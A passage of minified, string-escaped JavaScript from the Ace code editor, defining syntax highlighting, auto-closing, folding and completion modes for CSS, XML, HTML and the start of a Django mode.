]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/django\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/html_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){this.$rules={start:[{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant\",regex:\"[0-9]+\"},{token:\"variable\",regex:\"[-_a-zA-Z0-9:]+\"}],comment:[{token:\"comment.block\",merge:!0,regex:\".+?\"}],tag:[{token:\"entity.name.function\",regex:\"[a-zA-Z][_a-zA-Z0-9]*\",next:\"start\"}]}};r.inherits(u,o);var a=function(){this.$rules=(new s).getRules();for(var e in 